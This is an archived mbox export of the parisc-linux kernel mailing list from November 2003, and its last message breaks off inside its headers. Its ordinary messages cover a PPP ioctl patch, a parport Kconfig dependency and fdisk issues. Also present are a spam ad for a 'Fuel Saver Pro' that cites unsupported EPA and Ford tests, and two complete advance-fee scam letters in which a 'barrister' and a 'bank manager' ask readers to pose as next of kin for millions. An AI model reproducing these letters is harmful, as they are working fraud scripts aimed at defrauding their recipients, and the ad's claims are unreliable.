X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:14 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  6 20:30:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id AB31F4841
	for <parisc-linux@parisc-linux.org>; Thu,  6 Nov 2003 20:30:52 -0700 (MST)
Original-Received: from 12-203-211-7.client.attbi.com (12-203-211-7.client.attbi.com [12.203.211.7])
	by cuprel1.hp.com (Postfix) with SMTP id 67B7FD3C
	for <parisc-linux@parisc-linux.org>; Thu,  6 Nov 2003 19:30:43 -0800 (PST)
Original-Received: from [138.20.85.70]
	by 12-203-211-7.client.attbi.com with SMTP;
	Fri, 07 Nov 2003 02:30:40 -0100
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20012

--D_CB.041.E564D9.D_5.
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

FUEL SAVER PRO

This revolutionary device Boosts Gas Mileage 27%+ by helping fuel burn bet=
ter using three patented processes from General Motors.

Take a test drive Today - http://www.zppi.org/?axel=3D49

PROVEN TECHNOLOGY
A certified U.S. Environmental Protection Agency (EPA) laboratory recently=
 completed tests on the new Fuel Saver. The results were astounding! Maste=
r Service, a subsidiary of Ford Motor Company, also conducted extensive em=
issions testing and obtained similar, unheard of results. The achievements=
 of the Fuel Saver is so noteworthy to the environmental community, that C=
ommercial News has featured it as their cover story in their June, 2000 ed=
ition.

Take a test drive Today - http://www.zppi.org/?axel=3D49






No more advertisements, thanks - http://www.aqmp.net/out5s/rem2e.asp































hvmjrmctmr f icmo 
pd sbblv q
ohqrb
bl 

--D_CB.041.E564D9.D_5.--



From - Thu Nov 08 21:29:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Barrister Emmanuel Chigoziri" <emma2ng@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Please Reply
Date: Mon, 27 Oct 2003 03:47:35 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20031107034549.E58B64856@dsl2.external.hp.com>
Reply-To: emma12ng@netzero.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622934 1075 80.91.229.3 (22 Nov 2014 02:22:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  6 20:45:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mrson363.com (unknown [81.199.6.140])
	by dsl2.external.hp.com (Postfix) with SMTP id E58B64856
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Nov 2003 20:45:49 -0700 (MST)
X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20013

Dear Friend=2C 
I know you might have received letter like this from internet and it came to you as a joke or game=2C but it real and legal which i need your urgent response on this matter=2E 
I am Barrister EMMANUEL CHIGOZIRI a Solicitor=2E I am the Personal Attorney to Mr=2E Adams Christie a national of your country=2C who used to work with CADBURY NIGERIA LIMITED=2C On the 21st of April 2000=2C my client=2C his wife and their three children were involved in a car accident along Sagamu =2F Lagos Express Road=2E 
Unfortunately they All lost their lives in the event of the accident=2C Since then I have made several enquiries to your Embassy to locate any of my clientsextended relatives=2Cthis has also proved unsuccessful=2E After these several unsuccessful attempts=2C I decided to trace his relatives over the Internet to locate any member of his family but of no avail=2C hence I contacted you=2E 
I contacted you to assist in repartrating the money and property left behind by my client before they get confiscated or declared unserviceable by the bank where this huge deposits were lodged=2E Particularly=2C the Bank where the deceased had an account valued at aboutUS$10=2E5M =28TEN Million Five Hundred Thousand United Stated Dollars=29=2EConseqently=2C the bank issued me a notice to provide the next of kin or have the account confiscated=2E Since I have been unsuccesfull in locating the the relativesfor over 2 years now=2E 
I seek your consent to present you as the next of kin of the deceased since you are from the same country so that the proceeds of this account valued at US$10=2E5MD can be paid to you and then you and me can share the money=2E 50% to me and 40% to you=2Cwhile 10% should be for expenses or tax as your government may require=2E 
I have all necessary legal documents that can be used to back up any claim we may make=2E All I require is your honest cooperation to enable us see this deal through=2E I guarantee that this will be executed under a legitimate arrangement that will protect you from any breach of the law=2E 
Please direct your reply through this email address =3A emma12ng=40netzero=2Ecom =3Cmailto=3Aemma12ng=40netzero=2Ecom=3E if you are Dear 
interest to enable us discuss further=2E YourFaithfully=2C 
Barrister Emmanuel Chigoziri =28Esq=2E=29=2E 




From - Thu Nov 08 21:29:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicolas JULIEN <gronico@gronico.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pppd on 2.4.22-pa13
Date: Fri, 07 Nov 2003 10:52:23 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <1068198742.3302.17.camel@athena>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622934 1087 80.91.229.3 (22 Nov 2014 02:22:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  7 03:03:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gronico.org (gronico.net1.nerim.net [62.212.114.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1FE2C4841
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Nov 2003 03:03:34 -0700 (MST)
Original-Received: from -allhosts (athena [10.2.0.200])
	by gronico.org (Postfix) with ESMTP id F1056455D1
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Nov 2003 11:03:37 +0100 (CET)
X-Mailer: Ximian Evolution 1.4.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20014

Hi,

I was having some problems with pppd:

Nov  6 10:13:03 tomawak kernel: sys32_ioctl: Unknown cmd fd(7)
cmd(40047437) arg(00081cf0)

and I was unable to launch an adsl session.

I've found a solution and I've patched my kernel with:

*** arch/parisc/kernel/ioctl32.c.old    Thu Nov  6 10:18:21 2003
--- arch/parisc/kernel/ioctl32.c        Thu Nov  6 10:18:52 2003
***************
*** 3176,3181 ****
--- 3176,3182 ----
  COMPATIBLE_IOCTL(PPPIOCCONNECT)
  COMPATIBLE_IOCTL(PPPIOCDISCONN)
  COMPATIBLE_IOCTL(PPPIOCATTCHAN)
+ COMPATIBLE_IOCTL(PPPIOCGCHAN)
  /* PPPOX */
  COMPATIBLE_IOCTL(PPPOEIOCSFWD);
  COMPATIBLE_IOCTL(PPPOEIOCDFWD);

Maybe it will be usefull to apply this to sources?

Best regards,

Nicolas JULIEN.



From - Thu Nov 08 21:29:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pppd on 2.4.22-pa13
Date: Fri, 7 Nov 2003 12:38:03 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <200311071238.03665.deller@gmx.de>
References: <1068198742.3302.17.camel@athena>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622935 1091 80.91.229.3 (22 Nov 2014 02:22:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:15 +0000 (UTC)
Cc: Nicolas JULIEN <gronico@gronico.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  7 04:38:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id E0C7A4841
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Nov 2003 04:38:17 -0700 (MST)
Original-Received: (qmail 18732 invoked by uid 65534); 7 Nov 2003 11:38:06 -0000
Original-Received: from pD90403FE.dip.t-dialin.net (EHLO p100) (217.4.3.254)
  by mail.gmx.net (mp023) with SMTP; 07 Nov 2003 12:38:06 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.5.93
In-Reply-To: <1068198742.3302.17.camel@athena>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20015

Applied to kernel 2.4.22-pa14.

Thanks!


On Friday 07 November 2003 10:52, Nicolas JULIEN wrote:
> Hi,
>
> I was having some problems with pppd:
>
> Nov  6 10:13:03 tomawak kernel: sys32_ioctl: Unknown cmd fd(7)
> cmd(40047437) arg(00081cf0)
>
> and I was unable to launch an adsl session.
>
> I've found a solution and I've patched my kernel with:
>
> *** arch/parisc/kernel/ioctl32.c.old    Thu Nov  6 10:18:21 2003
> --- arch/parisc/kernel/ioctl32.c        Thu Nov  6 10:18:52 2003
> ***************
> *** 3176,3181 ****
> --- 3176,3182 ----
>   COMPATIBLE_IOCTL(PPPIOCCONNECT)
>   COMPATIBLE_IOCTL(PPPIOCDISCONN)
>   COMPATIBLE_IOCTL(PPPIOCATTCHAN)
> + COMPATIBLE_IOCTL(PPPIOCGCHAN)
>   /* PPPOX */
>   COMPATIBLE_IOCTL(PPPOEIOCSFWD);
>   COMPATIBLE_IOCTL(PPPOEIOCDFWD);
>
> Maybe it will be usefull to apply this to sources?
>
> Best regards,
>
> Nicolas JULIEN.


From - Thu Nov 08 21:29:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unresolved symbols in 2.4.22-pa13
Date: Fri, 7 Nov 2003 13:02:13 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <20031107120213.GM17497@lug-owl.de>
References: <3FA956FD.4080901@hrzpub.tu-darmstadt.de> <20031106162055.GA26869@parcelfarce.linux.theplanet.co.uk> <20031106205706.GG17497@lug-owl.de> <20031106222416.GI26869@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="GoZzJvFfKjxI3RhA"
X-Trace: ger.gmane.org 1416622935 1094 80.91.229.3 (22 Nov 2014 02:22:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  7 05:02:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF47E4841
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Nov 2003 05:02:14 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id D6B6A4B45D; Fri,  7 Nov 2003 13:02:13 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20031106222416.GI26869@parcelfarce.linux.theplanet.co.uk>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20016

--GoZzJvFfKjxI3RhA
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 2003-11-06 22:24:16 +0000, Matthew Wilcox <willy@debian.org>
wrote in message <20031106222416.GI26869@parcelfarce.linux.theplanet.co.uk>:
> On Thu, Nov 06, 2003 at 09:57:06PM +0100, Jan-Benedict Glaw wrote:
> > On Thu, 2003-11-06 16:20:55 +0000, Matthew Wilcox <willy@debian.org>
> > wrote in message <20031106162055.GA26869@parcelfarce.linux.theplanet.co=
=2Euk>:
> > > On Wed, Nov 05, 2003 at 09:01:01PM +0100, Ruediger Scholz wrote:
> @@ -34,7 +34,7 @@ config PARPORT
> =20
>  config PARPORT_PC
>         tristate "PC-style hardware"
> -       depends on PARPORT && (!SPARC64 || PCI)
> +       depends on PARPORT && (!(SPARC64 || PARISC) || PCI)

This excludes certain possibilities. I'd go the other way...

>         ---help---
>           You should say Y here if you have a PC-style parallel port. All
>           IBM PC compatible computers and some Alphas have PC-style
>=20
> But perhaps that should be:
>=20
> 	depends on PARPORT && (!SPARC64 || PCI) && (!PARISC || SUPERIO)

parport_pc uses inb/outb so I'd let it depend on busses that are capable
of allowing inb/outb:

	depends on PARPORT && (ISA || PCI || SUPERIO)

- ISA parport adaptors exist, either as build-in or as real ISA cards.
- There are PCI parport controllers
- SUPERIO seeme to be capable of doing parport_pc (I haven't used
  that...)

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--GoZzJvFfKjxI3RhA
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQE/q4nFHb1edYOZ4bsRArJrAKCImlof9sTbTtJLrJJJTMf5xfKhcQCfaUV5
UEJCbNOgcCCqEy1kHlzBAtI=
=Qw28
-----END PGP SIGNATURE-----

--GoZzJvFfKjxI3RhA--


From - Thu Nov 08 21:29:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mr. Williams Lawal" <williams@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] thanks
Date: Fri, 7 Nov 2003 14:10:10 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <20031107130936.18A7F4841@dsl2.external.hp.com>
Reply-To: williamslawal@uboot.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622935 1095 80.91.229.3 (22 Nov 2014 02:22:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  7 06:09:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from n2now58.com (unknown [217.194.147.3])
	by dsl2.external.hp.com (Postfix) with SMTP id 18A7F4841
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Nov 2003 06:09:36 -0700 (MST)
X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20017

MR=2E WILLIAMS LAWAL                    
PACIFIC BANK OF SOUTH AFRICA=2C 
9TH FLOOR=2C HEERENGRACHT TOWER=2C 
STANDARD BANK CENTER=2C 
CAPE TOWN=2C SOUTH AFRICA=2E 


DEAR SIR=2C

I am Mr Williams Lawal=2C the Branch Manager Pacific Bank of South Africa=2C Cape Town =2EI have urgent and very confidential business proposition for you=2E 

On June 6=2C1999=2C an American Oil consultant=2Fcontractor with the South Africa Mining Corporation=2C Mr=2E Charles Anderson made a numbered time =28Fixed=29 Deposit for twelve calendar months=2C valued at US$20=2C000=2C000=2E00 =28Twenty Million Dollars=29 in my branch=2EUpon maturity=2C I sent a routine notification to his forwarding address but got no reply=2EAfter a month=2C we sent a reminder and finally we discovered from his contract employers=2C the South Africa Mining Corporation that Mr=2E Charles Anderson died from an automobile accident=2E On further  investigation=2C I found out that he died without making a WILL=2C and all attempts to trace his next of kin was fruitless=2E 
  I therefore made further investigation and discovered that Mr=2E Charles Anderson did not declare any kin or relations in all his official documents=2C including his Bank Deposit paperwork in my Bank=2E This sum of US$20=2C000=2C000=2E00 is still sitting in my Bank and the interest is being rolled over with the principal sum at the end of each year=2E  No one 
will ever come forward to claim it=2E  According to South Africa Law=2C at the expiration of 5 =28five=29 years=2C the money will revert to the ownership of the South Africa Government if nobody applies to claim the fund=2E 
  Consequently=2C my proposal is that I will like you as a foreigner to stand in as the next of kin to Mr=2E Charles Anderson so that the fruits of this old man's labour will not get into the hands of some corrupt government officials=2E  This is simple=2C I will like you to provide immediately your full names and address so that the Attorney will prepare the necessary documents and affidavits which will put you in place as the next of kin=2E  We shall employ the service of two Attorneys for drafting and notarization of the WILL and to obtain the necessary documents and letter of probate=2Fadministration in your favour for the transfer=2E  A bank account in any part of the world which you will provide will then facilitate the transfer of this money to you as the beneficiary=2Fnext of kin=2
 E The money will be paid into your account for us to share in the ratio of 70% for me and 30% for you=2E 

There is no risk at all as all the paperwork for this transaction will be done by the Attorney and my position as the Branch Manager guarantees the successful execution of this transaction=2E If you are interested=2C please reply immediately via the private email address williamslawal111=40uboot=2Ecom=2E Upon your response=2C I shall then provide you with more details and relevant documents that will help you understand the transaction=2E 
    Please observe utmost confidentiality=2C and rest assured that this transaction would be most profitable for both of us because I shall require your assistance to invest my share in your country=2E 

Awaiting your urgent reply via a return email 


Thanks and regards=2E 

Mr=2E Williams Lawal
williamslawal111=40uboot=2Ecom  




From - Thu Nov 08 21:29:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Fri, 7 Nov 2003 18:52:58 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <3F969FFE000092BD@ocpmta2.freegates.net>
References: <20031106222958.GJ26869@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622936 1101 80.91.229.3 (22 Nov 2014 02:22:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>,
	"Ruediger Scholz" <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  7 10:53:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7039F4841
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Nov 2003 10:53:18 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AIAn5-0001Do-00; Fri, 07 Nov 2003 18:52:59 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 7 Nov 2003 18:52:58 +0100
In-Reply-To: <20031106222958.GJ26869@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20018

> [...] I bet it's calling BLKGETSIZE64 and our put_user() is broken.

I trusted that Grant merged the same code in 2.4 and 2.6 for put_user() some
time ago?

Is it the same with 64bits kernels?

hth,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Fri, 07 Nov 2003 21:32:06 +0100
Lines: 144
Approved: news@gmane.org
Message-ID: <3FAC0146.2050800@hrzpub.tu-darmstadt.de>
References: <3FA95BBA.7080705@hrzpub.tu-darmstadt.de> <20031106222958.GJ26869@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------060009030406010801000901"
X-Trace: ger.gmane.org 1416622936 1107 80.91.229.3 (22 Nov 2014 02:22:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  7 13:33:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 839364841
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Nov 2003 13:33:09 -0700 (MST)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157001220.dialin.heagmedianet.de [213.157.1.220])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.10/8.12.7) with ESMTP id hA7KVUsY031093
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO);
	Fri, 7 Nov 2003 21:31:46 +0100
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4.1) Gecko/20031008
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <20031106222958.GJ26869@parcelfarce.linux.theplanet.co.uk>
X-TUD-HRZ-MailScanner: Found to be clean
X-TUD-HRZ-MailScanner-SpamCheck: not spam, SpamAssassin (Wertung=-1.1,
	benoetigt 5, IN_REP_TO -0.50, REFERENCES -0.50,
	USER_AGENT_MOZILLA_UA 0.00, X_ACCEPT_LANG -0.10)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
